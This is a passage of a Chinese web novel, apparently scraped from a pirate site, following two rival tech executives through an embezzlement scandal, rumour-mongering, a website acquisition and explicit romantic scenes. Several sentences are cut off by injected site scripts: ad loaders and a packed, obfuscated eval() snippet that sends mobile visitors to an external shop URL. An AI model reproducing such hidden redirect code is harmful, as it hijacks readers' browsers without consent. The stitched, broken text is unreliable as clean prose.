司机误以为路翎的语气是肯定,当即来了话头,兴致勃勃地说道:“对啊对啊,你们都是搞互联网的,应该知道的内幕消息更多的吧?是不是真的?我觉得是,你看那个商赭,年纪轻轻就去老美留学,保不准那个时候就把国籍转出去了。” “呃……”路翎欲言又止,司机也没打算等到他的答复,而是又滔滔不绝地说了下去:“这个消息实际上早就在天涯上传遍了,你应该也看过那个帖子吧,嚯呵,现在这些资本家可真是,一个个在国内赚了钱就往外头跑,我有个一起跑车的兄弟,他姑妈的侄女就是在移民局工作的,早告诉我了,商赭是带着他养的小情人跑的……” 这都哪跟哪啊?! 路翎是真的没想到这年头广大人民群众人云亦云的能力这么强。 再怎么样,前两天办理酒店入住的时候他拿出来的也是二代身份丨证啊。 商赭这种一天到晚不是在工作就是在和他挂着语音通话工作的情况下,都能够硬生生被造谣出一个情人和转移了国籍……下意识的,小路总掏出手机,啪嗒啪嗒地给男朋友打字分享: 【你敢相信吗,我一上出租车,这司机就跟我说你有个惊天大瓜。】 【?】 【说天涯上早就传遍了,你转移国籍到了国外,还是带小情人跑的,转移了大量的资产在外面。】 商赭人在家中坐,锅从天上来,他打开天涯,很快就找到了小路总口中的帖子,一键抄送给了公关部门的负责人。 发完了消息,路翎在车里努力地替商赭辩解:“这些网络上说的东西不一定是真的,都没有影的事情,商氏集团的老板要是真的偷偷摸摸转移资产去国外,那早就被抓了啊。” 司机摇头摆脑,显然是沉浸在了阴谋论当中,甩下一句“你们年轻人不懂。我走过的路可比你吃过的米都多,这些有钱人肯定背地里都偷偷移民了的。” 路翎嘴角微微抽了抽,没有和对方多加以争辩。今天运气好,去往中关村的路上一路畅通无阻,在路过白颐路的的街角时,司机忍不住按了一下喇叭,驱赶起堵在街上的人群。 那里伫立着一块巨大的广告牌。 广告牌本身经历过长期的风吹雨打早已变得黯淡斑驳,只依稀看得见黑红白三色的布料和上面依稀残留的“向北1500米”的字样。 “也不知道这些年轻人怎么回事,这年头围着这么个破破烂烂的广告牌,真不知道有啥子好拍的哦,他们公司不是早就倒闭了么,我估计过段时间也会把这块牌子一起拆掉吧。” 旧时代的残响已经成为了现如今市容的牛皮癣,不再为他人所记得。 司机兜兜转转拐了几个弯,停在了雁翎集团的办公大楼下。 明助理早就已经等在了公司大门以外。 他原本约了庄老板下午的时候来谈事,出了这么一档事情,也只能无奈地跟对方重新约了新的时间。 前台的员工看见路翎的出现,下意识地瞪大了眼睛。 明灿刷卡过闸。 上了高管专用的电梯,明灿这才解释起了紧急上报的原因。 他是商科毕业,专业使然对这些财务数字尤其敏感,账本刚过他的手不到一分钟的时间,明灿就觉得这里面的数字和他们上报给总部时的数据不太一样。 “请的第三方人员已经上楼了。”他补充道。 如果账本真的出了问题,那整个北京分部这边所有经手的人员都要扣上一个大问号。 “财务部门的主管我记得是李贾。”路翎揉了揉自己的太阳穴说道。 李贾是路翎在大学期间认识的其他专业的学长,工作后的履历相当辉煌。 先后在数家互联网企业中辗转,那时候商氏集团和雁翎集团还没有加入互联网的厮杀,当时的互联网企业三分天下,而这位学长分别都在这三家当过高管。 三年前,当时雁翎集团恰好处于上升期,刚刚打算开设在北京的分部,李贾听到了消息,主动联系,说现在的工作上升空间不大,希望能够跳槽来雁翎集团。 雁翎集团能够发展到现在,和大学给的平台也不无关系。当时的路总还没褪下身上的学生气息,欣然应允了学长的要求。 看着电梯上的数字跳到了最高层,路翎把自己的围巾解下,让明助理替自己拿着。 他身上那股和商赭相处的时候柔软的气息早在不知不觉中就已经消散了个干净。 电梯的镜面反光倒映出路总的模样,大门缓缓开启,先前没敢出现的分部的高管们倒是全都冒了出来。 “说吧。”他语气里听不出喜怒,“怎么回事。” 和本部的员工们不同,分部的高管们很少通过网络视频和电话以外的方式和路翎联络,看见他出现还有些茫然。 现在能够出现在这一层的级别都在M5以上,刚刚也隐隐约约在交流中得知发生了什么,也是因为这样,此时此刻没有一个人敢贸然说话。 整个公司的财务部门人员和明灿请来的团队此时此刻全都挤在了办公室里。 路翎看这些人跟锯嘴葫芦一样,也不陪这些人干耗着,越过他们径直进了门,说道:“辛苦各位了,各位的工资都按照五倍的给。” 一口气翻完雁翎集团整个北京分部的账单可并不是多么轻松的事情,保底也需要通宵好几天才能完成。 他说完就退出来,合上玻璃门,将里面的欢呼声隔绝。 骤然得到这个好消息,办公室里原本还对临时加班有意见的员工们瞬间腰也不酸了、腿也不疼了、干活的速度立刻呈几何倍数地上升了。 人和人的悲欢显然并不相通,虽然有着隔音,可门外的高管们却只觉得门里的职员们吵闹。 屋外一片静谧,路翎扯了扯嘴角,露出皮笑肉不笑的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 表情:“去会议室啊,难道还要我请你们吗?” 这或许是雁翎集团有史以来最为严肃的会议。 所有人的手机被没收,会议室里开了屏蔽器,在秦助理离开以后整个会议室大门瞬间紧闭。 会议室里只有一台电脑连着内部网络,录入了路翎的身份权限,路翎坐在主位上,脸上的表情看不出喜怒,他环视在座的人群,用手指轻轻敲击着桌面。 “都知道我想说什么,我就不用多废话了。” 他把一连串的信息全部投屏在了这群人眼前的桌面显示屏上。 在座的都是聪明人,其中不乏有路翎所信任的左膀右臂。 负责分部的副总裁当即面露愧疚神色,在他的手底下闹出了这么大的篓子,工作丢掉都可能是最轻的处理了。 其他人脸色也很是不佳,他们分部过去几个季度的数据都不太好看,原本有不少中高层的小管理铆足了劲想要往上升,都因为KPI和各方面的问题收缩了晋升名额。 当时大家就憋着一股气,现在让他们发现业绩不达标的情况很有可能是有人做了手脚,更是让他们怒火中烧。 唯独几个人的脸色看上去尤其不妙。 会议室里的空调温度开得很低,路翎像是不经意间提起一样,对李贾说道:“你看上去很冷,要不要让明助理给你拿条毯子。” “不、不用不用。” 被点名的李贾努力地维持着自己的镇定,却没想到路翎当着所有人的面输入了一串十分眼熟的网址。 屏幕上瞬间跳出了不堪入目的广告,正中间的地方还用花里胡哨的英文标着各种各样让人看不懂的内容。 路翎敲击着电脑,无数的01数字流通过计算机流向网络的另一个世界。他游刃有余地敲击着代码,顺便慢悠悠地说道:“是谁干的我就不用点名了,在上班时间用公司的电脑和内网打开非法网站,挪用公款赌丨博,还需要我说更多吗。” 这类非法网站都有木马病毒植入,如果成功入侵雁翎集团的办公软件,就可以成功地借此勒索集团上亿的费用。 但很可惜,他们一来就撞上了雁翎集团的第一道防火墙。 路翎在调动了这台电脑以后第一时间查阅了上面的所有消息,第二道防火墙具有反追踪的手段,路翎也是借此找到了木马背后关联的网页链接。 一路顺藤摸瓜,甚至连到底是哪台电脑干出来的这种蠢事都一清二楚。 当然,小路总也没闲着,他此时此刻动用的是雁翎集团的服务器,强大的算力哪怕单纯使用DDoS攻击都足以把对方这种网站击溃,路翎快速地敲击着键盘,一分钟的时间不到就已经把幕后人分赃的主要银行户口找到。 哈。 一个架设境外的非法网站,管理员的真身居然这么凑巧地在国内。 那就方便多了。 整个集团分部都以前所未有的速度飞快地运转了起来,一道道命令从最中心的会议室里发出。 来自雁翎集团的报警信息直接送到了警方人员的手里。 20.新春座谈会20 接下来一段时间对于雁翎集团北京分部的所有员工来说都可以说是相当灰暗却又生动的时光。 昏暗在于近乎所有人都陷入了高强度的工作当中,无数的工作量纷至沓来;生动在于接连不断地晋升喜讯和关系户被开的资讯。 大家铆足了劲想要在这场动荡的变化中表现自己。 而路翎也完全没有闲着的时间,他近乎是住在了公司里——恰好最顶层的总裁办公室有洗漱的地方,衣服他让秦助理替自己拿了一些过来。 当然,即使是在这种情况下,路翎每天依旧抽出时间,和商赭在睡前煲着电话粥。 【还算顺利吧。】 他回复着商赭的消息。 这几天外界对于雁翎集团发生的变化都处于有所耳闻的状态,原本的新春发布会雁翎集团都只派遣了助理出席,路翎这位老板一个人镇守北京分部。 整个互联网行业都嗅闻到了风雨欲来的气息。 打着这个幌子,先前那位陈总的计划也十分自然而然地泡了汤。 商赭甚至接到了对方气急败坏的电话,话里话外的意思都是在辱骂雁翎集团这次出事居然这么赶巧。 居然还让路翎好运地错过了他们准备得当的第一个骗局。 商赭面不改色地听完了,回头就把陈总的内容一字不差地复述给了路翎听。 路总忙里偷闲,听这种跳梁小丑的跳脚发言权当调剂心情。 “那你呢,公司的辟谣进度怎么样?”路翎忙得打电话的时候都在处理着各项事宜,没有跟进先前商赭被论坛上造谣的一线进展。 商赭无奈地叹了口气:“那天你跟我说了以后我们的公关部就已经在处理了,目前帖子已经被删除了,我们找到了里面打配合指名道姓了商氏集团的那个,官司是肯定要打的,但是现在打名誉权官司的辟谣力度不大,公关部那边的人都已经想好了实在不行让我举着身份丨证去开澄清大会算了。” 路翎在脑海里脑补了一下这个画面,有些失笑地暂停了敲击键盘的动作:“那样看上去有点像拍入狱证件照……” 两个人隔着电话,谁都没有提此时此刻让自己感到焦头烂额的烦心事,告诉对方的都是轻松愉快的小事。 明明身处在同一座城市,公司的办公大楼甚至相对着,但却跟谈了异地恋似的。 路翎为数不多的休息时光也只能站在办公室的落地窗前往商氏集团那边的顶层落地窗看,两边都贴了防窥玻璃,看不见任何的影子。 他的一只手贴着玻璃窗,趁着室内外的温差让玻璃上氤氲出一层薄薄的水汽,他搓了搓手,冲落地窗呵了口气,在上面涂涂画画了一个很小的爱心,拍下来发给了商赭。 为数不多的休息时间结束,路总再次有空拿起社交软件的时候,毫不意外地看见了商总模仿自己的创意画的另一个爱心。 【SZ (爱心) LL】 这家伙倒是写得明目张胆,也就仗着他的办公室不会有人看见了。 这是路翎这几天以来难得的一次放松和愉快的时候。 那天下午随着路翎将一切使用公司内网进行的违法犯罪行为的披露,涉案人员也十分痛快地承认了自己的罪行。 李贾甚至还飞快地指认了相关人员——负责采购部门的陈忱。 三天的时间,财务部门已经把账本从头到尾理顺了一遍。 李贾是在去年的Q3季度时和陈忱联手开始做的款项,上面的数字变动起初并不明显,但大概是试水得多了,两人逐渐放下心来,所作所为也变得比往前更加大胆。 他们将有问题的发丨票一五一十地拿出,做好取证存档,将最终报表上呈现的数字和账本记录一一对应,可以确认的是,在短短的三个月时间内,两个人就已经联手侵占了雁翎集团将近800万的资金。 幸运的是,对方还没有把全部的公款投入到那个境外网站上,后续还有办法追回这部分的资金。 但路翎却依旧觉得似乎有什么地方不太对劲。 陈忱报出了一个耳熟能详的名字,对自己即将迎来的看守所几日游似乎毫无胆怯心理,甚至还笑嘻嘻地告诉路翎:“路总,凡事不要做得太绝,我好歹也是那位的亲戚,不看僧面看佛面,差不多就得了,帮上面的人做事,也是雁翎集团的幸运,不是吗?” 这是明晃晃地威胁。 如果是其他企业遇到这种情况,说不定在听到那个名字的时候就会放对方一马,让这件事情不了了之。 对方自以为胜券在握。 当天夜里,巡查组的重点名单上就有一个名字被切实证据盖章确认。 路总在办公室里重重地舒了口气。 拔出萝卜带出泥,他将两个人掀了下去,原本已经形成了派系的人员瞬间就乱做了一锅粥,那些靠着趋炎附势勉强爬到了不属于他们高度位置的直接被开了个干净。 雁翎集团在短时间内多出了大量人员空缺的管理岗位。 雁翎集团在他的带领下一向走的根正苗红的路线,可依旧能够出现这种事情。 对于南方地区的人而言,有一句俗语是非常中肯的。 当你在自己的家里发现一只蟑螂的时候,说明家里已经有密密麻麻的蟑螂了。 现在发现高层里有两颗蛀虫,那集团的内部还有多少? 尽管雁翎集团本身的架构并不臃肿,但能够出现这么多事情,说明起码在监管机制方面还有待改革。 “各位这几天都辛苦了。”路翎将奖金下发,这些通宵达旦数日的财务人员除了先前承诺的奖金以外,还都得到了额外的年假。 雁翎集团的福利待遇果然不是盖的!几位员工的眼里瞬间冒出了星星,被明灿外聘而来的第三方团队经过严密的审查,在找出了全部的问题以后,也同样拿到了等同年假福利的奖金。 不得不说,如果天底下所有的公司都和雁翎集团一样,那他们也不是不能够热爱工作的。 加班几天就拿到了翻倍的钱,甚至比节假日时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拿到的三倍加班费还要高好几倍。 这谁能拒绝啊? 而另一方面,先前对商赭的国籍还有颇多猜测的行业论坛等地方也已经被雁翎集团发生的变故刷了屏。 有人上自己的工作证,自证雁翎集团的北京分部员工,证明公司此时此刻的运转相当正常;有人颇为唯恐天下不乱地在各路帖子里散播着谣言;还有各路各种各样的小道消息不胫而走。 种种纷杂的消息毫无疑问成为了2013年开年的第一个劲爆的大瓜。 比起死板的互联网新春发布会,又或者一看就是胡编乱造的花边新闻(例如先前港媒的造谣),沉浸互联网多年的网民们更相信由自己推导出来的消息,一个个煞有其事地参与到了这起讨论当中。 尤其是在中关村这样的高校和互联网企业云集的地方更是如此。 好像谁没有认识几个在雁翎集团的员工,没有什么第一手的内幕资料,就远远落后于其他人、和他们没有了共同话题了一样。 路翎原本预计在京城待着的时间不会太久,现在却不得不放缓了脚步,那些被空出来的管理岗位从先前晋升失败的这批VP里面挑拣。 雁翎集团的讨论度以一种不太光彩的方式接连霸占了无数天的社交媒体第一名和搜索引擎的第一名。 也是到了这个时候,路翎也才终于有空和庄老板约了一个公司楼下的咖啡厅,洽谈起了关于对方所提出的出售网站的相关事宜。 “路总,没有打扰您吧。”庄老板脸上有些忐忑,那天被临时取消了洽谈时他还多少有些生气,没想到雁翎集团说反悔就反悔,消息传回到他们公司时其他人也是满脸失望,网站卖不出去,就真的要关闭了。 没想到峰回路转,对方重新发来了正式的洽谈邀请,而雁翎集团之所以在那天取消了洽谈的原因也在网络上流传起来。 如此近距离地接触这个八卦,庄老板有些试探性地看了看路翎的脸色。看上去还行,不太烦躁的样子。一旁的明助理今天背了一个公文包,有戏! 他眼神一亮。 “没有,实际上也是我们耽误了庄老板的时间了,本来约好的时间临时放了您鸽子,一直拖到了现在才有空,这是我们的问题。”明灿微微欠身,从自己的公文包里掏出了一式两份的合同分别递交给了在座的二人身前。 “庄总,我现在时间比较有限,我就长话短说了,我能够保证网站在卖给了我以后,依旧由你和你的团队进行管理和运营。” 什么!?在把网站卖掉了以后依旧可以享有管理权?自己平常就连做梦的时候都没有这样想过。 刚接过合同还没有认真翻看一遍的庄总大惊失色,这么好的待遇,哪怕价格是他们心理价格的砍半也认了啊。抱着这种可有可无的形态,他仔仔细细地看了看价格,也是正常的市场价格,当即把合同翻到了需要履行的条款规定。 对两边公司都做了严密的限制。 奇了怪了,雁翎集团难道是在做慈善的吗? 21.新春座谈会(21) 雁翎集团是否是在做慈善他人不好断定,但对方此时此刻所伸出的援手却着实解决了庄老板他们公司的燃眉之急。 他和公司里驻守的其他人通了电话,将合同展示给其他人看过一圈。 庄老板的公司不大,一直以来都维持着老式的站点运营方式,这么多年了也没有大规模地扩张,现有的几位高管们也都是将这个网站一点一点做到了最大的贡献者,几乎都对它视若己出,看到网站出现了起死回生的可能,而他们还能够继续留在网站里工作,纷纷亮起了眼神。 确定了合同没有问题,庄老板立刻拍板做了决定。 他内心颇为五味杂陈地签下自己的名字,和路翎握了握手。 这个网站现如今的报价不高,路翎给出的价格已经远超出他们的想象,没有压价,甚至给出了极高的福利待遇。 传闻果然不可尽信。 先前路翎实名举报的事情也已经有了处理结果。 今天的早报上,用将近一整页的报纸,详细地讲述了某位已经被下台的人违反组织要求、违反廉洁要求,利用职务之便长期侵占公款、贪污受贿、为某些企业作保护伞提供庇护等行为,严重违反组织纪律、严重违法,性质严重,不仅要退还所有违法所得、双规下台,还将被转移到检察机关依法审查起诉。 举国上下都为之一振。 这样盘踞极深的老虎到底是怎么被发现的,也成为了未来一年内茶余饭后中年男人们最爱的热点话题。 就在雁翎集团的内部迎来一次大换血时,有些谣言也是借机生长。 虽然陈总没能够成功让雁翎集团入局,可对方公司发生了这么大的事故,他们如果不借机传播点什么岂不是吃亏? 也就是雁翎集团现在没有上市,有点可惜。 曾经千方百计阻挠雁翎集团上市敲钟的幕后人不由得在心里叹了口气。 这么好的机会,不趁机做空雁翎集团的股价,让他们的市值暴跌,自己再接着低价抄底所有的雁翎集团的股票,一跃成为他们的第一大股东,越想越吃亏,简直就是浪费了天赐良机。 不仅如此,更让造谣的人怄气的是,他们本来花了不少钱买的水军,却因为打虎这件事一出,原本关心雁翎集团情况的那些网民们纷纷把注意力都转移到了下马的人身上。 啧,雁翎集团和路翎的命难道真的就这么好?这样也能让他们又躲过了一劫? 路翎先前设置的舆论监控仪器发出滴滴的警报声响,利用网络爬虫对短时间段内对设定的关键词进行数据搜集,不同的舆情所发出来的警报声音也不一样。 他看了一眼上面的内容,下意识地敲起了嘴角。 这些警报都会抄送给雁翎集团在广州总部的公关部门,那边在收到消息以后就可以在第一时间快速地处理当前所遭遇的公关危机。 这些网络上的发言中有很大一部分都由同一个IP地址所发出。 【陈总后面那个人可真是下了血本,这么多水军,花销绝对不少啊。】 路总愉快地给商赭发送短信。 【雁翎集团抛售掉了一个已经处于成熟期的业务,他们当然会以为你撑不下去了,不在这个时候落井下石怎么行。】 雁翎集团在这一周的时间里,大刀阔斧地进行改革的时候砍掉了一个早年出师不利的项目组,这类大企业所“抛售”出来的肥肉自然会有无数小鱼围上。 “他们不会怀疑路总您为什么要丢掉这个项目组吗?虽然我们现在的数据看起来还不错,但只要稍微看得懂财报,就知道这方面一直都是商氏集团独占鳌头吧……” 秦助理不由得疑惑地发问,他在毕业了以后就一直在雁翎集团工作,知道的内幕比外界稍微多了些许,不论如何,从他的视角来看,雁翎集团抛弃这个项目组是一个相当正确的决定。 虽然项目组处于成熟期,但谁也不知道它什么时候会衰落。 他们和商氏集团那边掰过不少次手腕,各个不同的项目组和事业群之间都互有输赢。 唯独这个方面,商氏集团一直处于领跑者的地位,无论雁翎集团多么努力地追赶都似乎够不上边,市场份额也远没有预想中的大。 “这个世界上不缺少自以为聪明的人,对于他们来说,蚊子腿再小也是肉。”路翎晃了晃手机。 这个被他们所摒弃的项目组涉及的是智能家居方面的内容,是雁翎集团早期在文娱行业以外做出的初步尝试。 显然,在这种没有房地产开发行业人脉和相关基础的情况下,雁翎做得没什么起色。 现如今的房地产行业看上去蒸蒸日上,与其相关联的智能家居方面也同样水涨船高,正是处于投资最热门的时候。 用前两年时出现的一个概念来说就是房地产加上互联网,跨界合作,彼此共赢。 雁翎集团会选择在这种时候放弃这个香饽饽着实让人不解。 “当时选错了合作商。”路翎坦然地承认了自己的不足,“即使后续有再次进驻这个行业,现在的雁翎集团也有更加合适的合作方。” 抛下这块看似金玉其外的石头,把它当做一次经验而非一个结果,摸着他继续前进远比徒劳地抓着这个项目不放走要更好。 明助理在一旁补充道:“而且你以为其他人接手了这个项目组难道就能够从商氏集团的手里抢到什么东西吗?就连我们都没有成功的事情,其他人更不可能成功了,到时候赔多了不得不转手,不就又到了收回来的时候。” 秦助理大为震撼地瞪大了眼睛。 这就是万恶的资本家吗!学会了! 至于这些人围绕着雁翎集团所丢弃的项目所占据的市场展开争斗,彼此之间会有多么大的损失……这些就更不是路翎所要纠结的事情了。他们觊觎雁翎集团,不只是这么一个小项目而已。 如果有机会,这些人显然也会想要将这个雁翎集团都瓜分殆尽。 在金钱构建的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13918101|146765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片战场上,对于自己的敌人的仁慈是对自己的残忍。 他给自己热了热牛奶,连轴转了快一周的时间,今天终于可以休息一会儿了。 趁着助理们回去他们的办公室里加班,小路总在办公室里独自蹬起了老板椅,转圈圈使自己心情平静下来。 决定了,今天晚上回家住! 明明长期异地恋过,可一整周的时间都不能和对方实打实地见上面牵上手,着实让好不容易聚在了一起的小情侣难受。 他鬼鬼祟祟地踩着点下了班,避开了在公司附近踱步戴着黑墨镜的八卦媒体们,闪身上了商总一辆还没有被外界获悉的私人车辆上。 今天的司机是商总亲自上阵,路总就挤到了副驾驶的座位上。 他刚坐下,商姓司机就十分主动地贴了过来。 路总脸红心跳,大脑一时间居然浮现出了某些在晋江不可描述的画面,下一秒,就看见商姓司机温柔地替自己拽过安全带,帮他系好。 …… 他下意识地磨了磨自己的后槽牙。 这家伙是故意的吗?是故意的吧? 他还想清清嗓子提醒一下商赭是不是忘记了什么,就看见对方再次凑了过来。 司机先生不知道什么时候解开了自己的安全带,俯身的时候按住了路总的一只手,他的手指反复摩挲着路总衣服上的袖钉,两个人贴得不能更近,彼此的呼吸打在对方的脸上。 从这个角度往下看,商赭可以清晰地看见路翎微微颤抖的鸦羽般的睫毛。 车辆是一个密闭的私人空间,但他们这辆车现在所处的地方可不是。 路翎下意识地揪住了商赭的领带,有些紧张地眨着眼,呼吸急促。 “想你了。”商赭的手碰了碰路翎的嘴唇,京城气候相比穗城干燥了太多,路翎又记不住用润唇膏。 那就只能用另一种东西帮路总润一下唇了。 他咬住路翎的嘴唇,小心翼翼地舔舐着对方,舌头慢慢地触碰着路翎的嘴唇。 路翎也不知道自己刚刚想做什么,似乎一个不小心,他就碰到了车上的某个按钮。 副驾驶座的靠背缓缓下放,气氛一时间变得更加地难以用言语来形容。商赭的手顺着姿势移动到了中间的位置。 车载空调温度合适,汽车本身稳定性强,不容易由内部或者外部的动作随之摇摇晃晃。 路翎脸色通红地用手臂捂住了自己的脸。现下所发生的事情显然在他的计划以外。 只是简单地被商赭帮助了一下而已。 车上有一小部分被弄脏了。 “你赶紧找一张纸巾擦一擦……”可怜小路总的声音都变得有气无力的了,完全不复刚刚下班时的神采飞扬。 下一秒,就又被可恶的商总亲了上来。 路翎才反应过来自己此时此刻被对方渡了什么东西进嘴,还没反应过来,就已经被吻到神志不清,连自己吞了什么东西下去都不知道了。 22.新春座谈会22 商赭维持着镇定,开着车回到了小院,直接把车停到了花园旁边的一处空地。 只是几天没见面而已,两个人却都像是有好几个世纪没见面一样,路翎把一旁低声放着《1874》的车载音乐关掉,也不知道是不是因为车内的暖气开得太高,路总脸上的热意就没有退下去过。 商总的围巾被主人解下,缠绕在路总的手腕上,将他的双手并在一起。 花园里种植的灌木丛晃动着,被风吹散落在它们身上的雪花。 路翎在动作间感受到了一丝冷意。 他忽然想起来自己曾经看过的某一集动物世界,在严寒的暴风雪当中,即使是天敌关系的捕食者和被捕食者两种动物都会团结起来紧紧靠在一起取暖。 他此时此刻和商赭似乎也是如此,两个人的躯体紧贴,路翎往前一凑,叼住商赭的眼镜甩到了附近的某处。 这个行为是明晃晃的挑衅。 但商赭却只会在心里反复播放:他好可爱。 对方的呼吸顿时又加重了几分。路翎下意识地缩了缩脖子,总觉得自己好像一只跳进了猎人精心布置的陷阱里的兔子。 邪恶猎人商赭早已在附近布下了天罗地网。 路翎听见了车座落锁的声音。 没有了眼镜的阻隔,水声在车内响起。 牙关在对方温柔地安抚下放松,舌尖闯入口腔当中,路翎被眼前的感官刺激所牵制住了心神,浑然没有在意到其他地方所发生的事情。 充满攻击性的吻很快就让路翎失去了这方面的主动权,任由商总予取予求。 被捆住的双手拽着商赭的衣摆。 他思维逐渐放空,也不知道为什么,商赭这家伙的吻技好得出奇,显得亲了这么久有时候还会忘记换气的自己有些丢人。 两个人之间拉出一道银丝。 莫名的野火从心头增长,点燃雪夜里的躯体。 路翎不服气地拽住商赭重新亲上一次,和刚刚的那个吻不同,这是一个很珍惜而又纯洁的吻。 不论何时,他们都是整个世界上最贴近对方的存在。 他们彼此凝望着。 熄灭的焰火,只需要一根火柴的靠近,随时都能够为之爆发。 京城今天的天黑得格外地早,繁华高楼的灯光从四面八方闪耀,昏黄的路灯灯光很难照亮车内。 于是,他们在黑暗中对视。 那束火焰似乎自己跳动了起来。 等路翎反应过来的时候,他身上套着的羊绒衫已经被往上掀开。他不甘示弱地在商赭的身上留下自己的印记,被修剪圆润的指甲划过对方的后背。 与之相比,路翎的身体要好留下印记得多。 商总轻轻地咬着路总的耳垂,细密地吻让后者毫无还手之力,被亲得下意识绷紧了身体。 对方刚刚从羊绒衫下的躯体一路往上,像是在对路翎的身体进行反复地描摹。 星空顶隐约反射出了两个人此时此刻的模样,路翎下意识地撇过了头,却不小心将手指按在了降低车窗的按钮上。 冰冷的风随着被打开的窗缝灌入车内,也同样灌进了衣服内,新鲜的外界空气冲淡了暖气中微妙的气味。 路翎下意识地打了个哆嗦,他被这冷风刺激得有点清醒,当即推了推商总的手,想要让对方换一个地方。 他下意识地吞咽了一下口水,虽然说在车里也不是不行,但是后续收拾起来也太麻烦了吧……被人看出来怎么办? 心脏似乎在想到这一点的时候猛然一个加速,羞耻和害怕心理直到这个时候才姗姗来迟。 彼此之间任何的反应都被摆放在明面之上,路翎怀疑是不是自己的所有感官都被商赭掌控在内,否则为什么对方好像拥有读心术一样对自己了如指掌。 “不会被发现的。”磁性的声音从耳侧响起,温热的呼吸贴着耳廓,路翎就下意识地放松了下来。 车座被放平,商赭将手指在暖气口处烘了一下,先将小路总手腕上的围巾结又系紧了一些,指尖扣在路翎的腰窝上,像是天生就契合在一起似的。 腿不知道什么时候就已经被抬起来环绕在了商赭的身上, 外界飘进来的微小的雪点落在人的身上,正在不断地融化。 …… 最后到底是怎么回到别墅的路翎也记不太清楚了。 他只记得商赭唤醒了屋里的智能家居,放了一池温暖的热水,本意是想要帮路总做一下简单的清洁,最后却又把彼此都搞得浑身是水。 就连头发都洗了两遍。 热风机呼呼地吹着,路翎在迷迷糊糊间冲商赭伸出了手,像是在撒娇地抱怨道:“都怪你,搞得我手上全是勒痕。” 后者珍而重之地将路翎的手腕抬起,用牙齿在上面留下新的痕迹。 头发还没吹干路翎就已经睡了过去。 不知道是不是睡得不舒服,小路总的睡姿今天尤其不佳。 睡梦里将商总做了一株任由自己为所欲为的树,而自己则是一只充满活力的树袋熊,在睡梦间将商总缠绕环抱。 被折腾醒的商总以牙还牙,重启了好不容易结束的运动,又用新的方法将路翎折腾醒了。 小路总下意识地抬起手,挡在自己的面前,从喉咙里发出自己平常绝对不会发出的声音。 等他好不容易缓过劲,小路总又气呼呼地咬着商赭的喉结,自己现在连站都站不稳了,那商赭也别想好过! 他也要让商赭接下来很长一段时间必须围着围巾见人。 但他显然没有明白人世的险恶。 商赭这家伙长期锻炼身体,在辛苦劳作了一整天过后还能坐在办公桌前处理文件。而可怜的小路总却只能靠着抱枕坐在床上接下属的电话。 商赭提前泡了蜂蜜水放在床头柜上,使路总在下属的面前还能维持着正常的声音和语调。 按照原本的行程,前两天的时候路翎就应该已经回到穗城了。 这一周结束之后路翎就要回去了。 这也是小路总这么迁就商总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931730|146765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的缘由之一。 商赭给助理发了条短信,让对方提前去申请航道。 而雁翎总部驻守的副总这时抓狂地打来电话:“研究中心都已经吵翻天了,老板你就快点回来吧!” 没大没小,为什么商赭的下属好像都没人敢这么跟他大呼小叫的? 俨然忘记了自己刚刚在后台才提交的那份无人机表演的计划书是副总崩溃的主要原因。 远在穗城的副总哭天喊地,但还是老老实实地将工作情况一一汇报。 当前主推的明星游戏大版本受到了玩家们的一致好评,其他项目组也都蒸蒸日上,被并过来的新项目组——也就是庄老板那个网站也已经数据转移到了雁翎的服务器组中,会在这周结束前完成网站的优化。 但他们下一个季度打算主推的一个项目大概率又会和商氏集团对上。 两家的眼光出奇的一致,都打算对社交媒体这方面进行新的业务布局。 肉眼可见的,雁翎集团和商氏集团又要成为下个季度的竞争对手。 小路总在电话挂断以后,看着商赭的眼神逐渐不爽了起来。 他抄起抱枕,在对方放下文件时精准地一丢,精准命中了商总的所在。 商总配合地接住了枕头没让它掉地上,看到路翎手上的水杯空了,十分自觉地跑过来凑到了路翎的面前。 等对方任劳任怨地跑去加了水以后,小路总这才仰着头骄矜地冲商赭吩咐说:“你快点上床,过来当一下我的靠枕。” 在某种程度上来说,这对于商赭应该是奖励才对。 小路总微微移开目光,心底很清楚这一点的他毫不客气地靠到了商赭的怀里。 他裹着被子,躺在商赭的怀里,就这么彼此依偎着消磨过午后的时光。 勾住对方的手指,路翎在看的是一份德语的机器人方面的文献,尽管文献本身并非是在无人机方向,但相关的行业也值得学习和参考。 他记着笔记,读得头晕脑胀的时候就把自己整个人埋进商赭和被子的中间,眼里沁出些许生理性的泪水,又被蹭到了商赭的衣服上。 算了,要不就休息一下吧。 靠着男朋友,路总沉重地叹了口气。 他十分果断地放下手上晦涩难懂的文献资料,选择拥抱互联网,开始了网上冲浪。 先前天涯上有关于商赭的那些谣言已经被删了个干净,始作俑者的那家工作室同时被商氏集团和雁翎集团发了律师函。对方不仅要在所有的社交平台上发布道歉贴,还需要把两家的道歉贴都置顶——为此还不得不再自费充值了好几家平台的会员。 看到一前一后的两个道歉贴,两个集团公关部的人对此也都很诧异,他们一开始还都以为是对方干的呢。 